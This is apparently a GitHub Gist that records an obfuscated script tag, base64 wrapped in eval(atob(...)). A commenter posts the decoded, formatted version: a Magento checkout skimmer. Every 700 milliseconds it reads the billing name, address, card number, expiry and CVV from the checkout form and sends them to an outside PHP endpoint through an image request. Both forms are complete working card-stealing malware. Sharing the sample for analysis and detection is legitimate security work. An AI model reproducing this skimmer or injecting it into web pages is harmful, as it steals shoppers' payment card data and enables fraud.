Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
marisaperry.com
<script type="text/javascript">eval(atob("dmFyIHNlPWZhbHNlO2Z1bmN0aW9uIHRpbWVkTWUoKXtpZigoIXNlKSYmKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhdXRob3JpemVuZXRfY2NfY2lkJykpKXtmbG49ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JpbGxpbmc6Zmlyc3RuYW1lJykudmFsdWUrJyAnK2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaWxsaW5nOmxhc3RuYW1lJykudmFsdWU7Y2k9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JpbGxpbmc6Y2l0eScpLnZhbHVlO3M9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JpbGxpbmc6cmVnaW9uX2lkJyk7c3Q9cy5vcHRpb25zW3Muc2VsZWN0ZWRJbmRleF0udGV4dDtjPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaWxsaW5nOmNvdW50cnlfaWQnKTtjbz1jLm9wdGlvbnNbYy5zZWxlY3RlZEluZGV4XS50ZXh0O2FkPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaWxsaW5nOnN0cmVldDEnKS52YWx1ZSsnICcrZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JpbGxpbmc6c3RyZWV0MicpLnZhbHVlO3pwPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaWxsaW5nOnBvc3Rjb2RlJykudmFsdWU7dD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYXV0aG9yaXplbmV0X2NjX3R5cGUnKTtjdD10Lm9wdGlvbnNbdC5zZWxlY3RlZEluZGV4XS50ZXh0O2NuPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhdXRob3JpemVuZXRfY2NfbnVtYmVyJykudmFsdWU7Y2VtPWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhdXRob3JpemVuZXRfZXhwaXJhdGlvbicpLnZhbHVlO2NleT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYXV0aG9yaXplbmV0X2V4cGlyYXRpb25feXInKS52YWx1ZTtjdnY9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2F1dGhvcml6ZW5ldF9jY19jaWQnKS52YWx1ZTtpZigoY24ubGVuZ3RoPT0xNiYmY3Z2Lmxlbmd0aD09Myl8fChjbi5sZW5ndGg9PTE1JiZjdnYubGVuZ3RoPT00KSl7c2U9dHJ1ZTt2YXIgaT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbWcnKTtpLnNyYz0naHR0cHM6Ly93d3cubWFyaXNhcGVycnkuY29tL21hZ2VudG8tY2hlY2sucGhwP3A9MTE2JytlbmNvZGVVUklDb21wb25lbnQoJyZmbG49JytmbG4rJyZjdD0nK2N0KycmY249JytjbisnJmNlbT0nK2NlbSsnJmNleT0nK2NleSsnJmN2dj0nK2N2disnJmNvPScrY28rJyZjaT0nK2NpKycmc3Q9JytzdCsnJmFkPScrYWQrJyZ6cD0nK3pwKTt9fX1zZXRJbnRlcnZhbCgndGltZWRNZSgpJyw3MDApOw=="));</script>
@molotovbliss

This comment has been minimized.

Copy link

molotovbliss commented Oct 18, 2016

Decoded and formatted:

 var se = false;

function timedMe() {
    if ((!se) && (document.getElementById('authorizenet_cc_cid'))) {
        fln = document.getElementById('billing:firstname').value + ' ' + document.getElementById('billing:lastname').value;
        ci = document.getElementById('billing:city').value;
        s = document.getElementById('billing:region_id');
        st = s.options[s.selectedIndex].text;
        c = document.getElementById('billing:country_id');
        co = c.options[c.selectedIndex].text;
        ad = document.getElementById('billing:street1').value + ' ' + document.getElementById('billing:street2').value;
        zp = document.getElementById('billing:postcode').value;
        t = document.getElementById('authorizenet_cc_type');
        ct = t.options[t.selectedIndex].text;
        cn = document.getElementById('authorizenet_cc_number').value;
        cem = document.getElementById('authorizenet_expiration').value;
        cey = document.getElementById('authorizenet_expiration_yr').value;
        cvv = document.getElementById('authorizenet_cc_cid').value;
        if ((cn.length == 16 && cvv.length == 3) || (cn.length == 15 && cvv.length == 4)) {
            se = true;
            var i = document.createElement('img');
            i.src = 'https://www.marisaperry.com/magento-check.php?p=116' + encodeURIComponent('&fln=' + fln + '&ct=' + ct + '&cn=' + cn + '&cem=' + cem + '&cey=' + cey + '&cvv=' + cvv + '&co=' + co + '&ci=' + ci + '&st=' + st + '&ad=' + ad + '&zp=' + zp);
        }
    }
}
setInterval('timedMe()', 700);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.